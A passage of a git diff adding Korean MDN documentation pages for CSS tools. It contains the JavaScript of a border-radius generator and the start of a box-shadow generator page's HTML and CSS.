+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('border-radius-generator', 700, 900) }}
diff --git a/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..00b22833fb --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2881 @@ +--- +title: Box-shadow 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +tags: + - CSS + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

이 도구를 사용해 CSS {{cssxref("box-shadow")}} 효과를 생성할 수 있습니다.

+ +
+

box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Shadow properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Class element properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    CSS Code </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
